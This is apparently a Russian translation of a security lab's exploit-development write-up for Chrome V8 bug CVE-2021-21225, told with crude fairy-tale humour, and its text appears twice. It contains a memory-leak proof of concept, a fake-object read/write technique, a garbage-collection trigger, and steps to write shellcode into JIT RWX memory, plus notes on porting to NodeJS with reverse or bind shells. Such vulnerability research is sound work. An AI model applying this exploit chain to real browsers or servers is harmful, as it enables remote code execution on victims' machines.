Автор: Hcamael@Know Chuangyu 404 Lab
Перевод этой статьи.
В тридевятом царстве тридесятом государстве жила была принцесса CVE-2021-21225. Однажды в студёную зимнюю пору пришли разработчики Chrome к ней во дворец ипоставили раком исправили код ошибки 1195977 которую она вызывала.
Последняя версия Chrome: 90.0.4430.72
Последняя версия V8: 9.0.257.17
Собери замок принцессы в один клик:
Проанализированная на этот раз уязвимость сильно отличается от изученных ранее.
Личиком королевская дочка, я бы сказал не сильно так и вышла, PoC её выглядит так
Одну из функций gc необходимо вызвать, запустив d8 с аргументом --expose-gc.
Эффектом этого PoC явно является утечка памяти, и определение других переменных после переменной w, например var c = [1.1,2.2], может привести к утечке информации о переменной c.
Исследователь, обнаруживший уязвимость, также написал соответствующую статью на сайте
https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
https://tiszka.com/blog/CVE_2021_21225_exploit.html
Уязвимость находится в функции concat и не является новым типом уязвимости. Предыдущие номера уязвимостей для функции concat - CVE-2016-1646 и CVE-2017-5030, для получения более подробной информации перейдите к первой статье выше.
Вот как я написал exp, существующий exp уже может сливать информацию о переменной, но этого недостаточно, для rce, вам также нужно иметь возможность контролировать карту переменной, эффект PoC выше просто рассматривает переменную w как массив длиной 1000, а затем присваивает значение переменной c, в обычной программе, длина переменной w была изменена нами на 1, поэтому нет возможности изменить последующее значение Изменение значения c никак не влияет на другие переменные, потому что c сама является легальной переменной длины 1000.
Во второй статье выше приведен такой сценарий.
1. В приведенном выше примере все элементы массива w заполнены на 1.1, поэтому карта w имеет тип PACKED_DOUBLE_ELEMENTS.
2. Если мы изменим map переменной w на тип HOLEY_ELEMENTS, то функция concat при работе будет рассматривать все элементы w как Object.
3. Таким образом, мы определяем еще одну переменную после переменной w: padding_obj = new Uint32Array(10);, которая вставляется в адрес памяти, который мы можем контролировать, чтобы можно было построить fake_obj.
4. Как только у вас есть fake_obj, вы можете читать и записывать EXP по своему усмотрению.
Но если написать его таким образом напрямую, могут возникнуть проблемы, и программа аварийно завершит работу, поскольку после срабатывания эксплойта он рассматривает все последующие переменные как объекты, и если встречает нелегитимный объект, сообщает об ошибке.
Реализация этого способа предоставляется путем изменения цепочки прототипов Объекта в функции, которая запускает уязвимость: the
Когда он успешно срабатывает, то получает созданный нами fake_obj и выбрасывает исключение, которое затем перехватывается, чтобы программа не завершилась.
Вывоз мусора
Функция gc в приведенном выше poc требует аргумента --expose-gc, что же делать без этого аргумента? Один из вариантов приведен во второй статье выше.
Другой вариантсбежать из замка получения памяти RWX
В предыдущих статьях мы использовали WASM для получения области памяти RWX, но во второй статье выше приводится другой вариант.
Если heap->write_protect_code_memory равен 0, то JIT-оптимизированный код создаст область памяти RWX для его хранения.
Адрес write_protect_code_memory_addr обычно находится в начале кучи, его можно найти с помощью gdb.
Смещение адреса jit_turbo_code_addr также можно получить через отладку gdb.
Эксплойт для NodeJS
После исследования выяснилось, что уязвимость может затрагивать NodeJS 16.0.0.
Несколько моментов, которые следует иметь в виду, приступая к написанию EXP для NodeJS.
1. В nodejs не включено сжатие адресов.
2. Использование %DebugPrint или %System может повлиять на расположение памяти и скомпрометировать эксплойт.
3. Последний использованный шеллкод не найдет никакого выхода, это происходит потому, что дескриптор файла, используемый для выполнения шеллкода, не корректен, на этот раз вы можете модифицировать шеллкод для обратного шеллкода или bind shell.
Догнать пьяную принцессу можно тут:
https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
Перевод этой статьи.
В тридевятом царстве тридесятом государстве жила была принцесса CVE-2021-21225. Однажды в студёную зимнюю пору пришли разработчики Chrome к ней во дворец и
Последняя версия Chrome: 90.0.4430.72
Последняя версия V8: 9.0.257.17
Собери замок принцессы в один клик:
Код:
$ ./build.sh 9.0.257.17
Анализ уязвимости
Проанализированная на этот раз уязвимость сильно отличается от изученных ранее.
Личиком королевская дочка, я бы сказал не сильно так и вышла, PoC её выглядит так
Код:
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
Одну из функций gc необходимо вызвать, запустив d8 с аргументом --expose-gc.
Эффектом этого PoC явно является утечка памяти, и определение других переменных после переменной w, например var c = [1.1,2.2], может привести к утечке информации о переменной c.
Исследователь, обнаруживший уязвимость, также написал соответствующую статью на сайте
https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
https://tiszka.com/blog/CVE_2021_21225_exploit.html
Уязвимость находится в функции concat и не является новым типом уязвимости. Предыдущие номера уязвимостей для функции concat - CVE-2016-1646 и CVE-2017-5030, для получения более подробной информации перейдите к первой статье выше.
Вот как я написал exp, существующий exp уже может сливать информацию о переменной, но этого недостаточно, для rce, вам также нужно иметь возможность контролировать карту переменной, эффект PoC выше просто рассматривает переменную w как массив длиной 1000, а затем присваивает значение переменной c, в обычной программе, длина переменной w была изменена нами на 1, поэтому нет возможности изменить последующее значение Изменение значения c никак не влияет на другие переменные, потому что c сама является легальной переменной длины 1000.
Во второй статье выше приведен такой сценарий.
1. В приведенном выше примере все элементы массива w заполнены на 1.1, поэтому карта w имеет тип PACKED_DOUBLE_ELEMENTS.
2. Если мы изменим map переменной w на тип HOLEY_ELEMENTS, то функция concat при работе будет рассматривать все элементы w как Object.
3. Таким образом, мы определяем еще одну переменную после переменной w: padding_obj = new Uint32Array(10);, которая вставляется в адрес памяти, который мы можем контролировать, чтобы можно было построить fake_obj.
4. Как только у вас есть fake_obj, вы можете читать и записывать EXP по своему усмотрению.
Но если написать его таким образом напрямую, могут возникнуть проблемы, и программа аварийно завершит работу, поскольку после срабатывания эксплойта он рассматривает все последующие переменные как объекты, и если встречает нелегитимный объект, сообщает об ошибке.
Реализация этого способа предоставляется путем изменения цепочки прототипов Объекта в функции, которая запускает уязвимость: the
Код:
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
Когда он успешно срабатывает, то получает созданный нами fake_obj и выбрасывает исключение, которое затем перехватывается, чтобы программа не завершилась.
Вывоз мусора
Функция gc в приведенном выше poc требует аргумента --expose-gc, что же делать без этого аргумента? Один из вариантов приведен во второй статье выше.
Код:
function gc() {
new ArrayBuffer(0x7fe00000);
}
Другой вариант
В предыдущих статьях мы использовали WASM для получения области памяти RWX, но во второй статье выше приводится другой вариант.
Если heap->write_protect_code_memory равен 0, то JIT-оптимизированный код создаст область памяти RWX для его хранения.
Код:
function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
Адрес write_protect_code_memory_addr обычно находится в начале кучи, его можно найти с помощью gdb.
Смещение адреса jit_turbo_code_addr также можно получить через отладку gdb.
Эксплойт для NodeJS
После исследования выяснилось, что уязвимость может затрагивать NodeJS 16.0.0.
Несколько моментов, которые следует иметь в виду, приступая к написанию EXP для NodeJS.
1. В nodejs не включено сжатие адресов.
2. Использование %DebugPrint или %System может повлиять на расположение памяти и скомпрометировать эксплойт.
3. Последний использованный шеллкод не найдет никакого выхода, это происходит потому, что дескриптор файла, используемый для выполнения шеллкода, не корректен, на этот раз вы можете модифицировать шеллкод для обратного шеллкода или bind shell.
Догнать пьяную принцессу можно тут:
https://bugs.chromium.org/p/chromium/issues/detail?id=1195977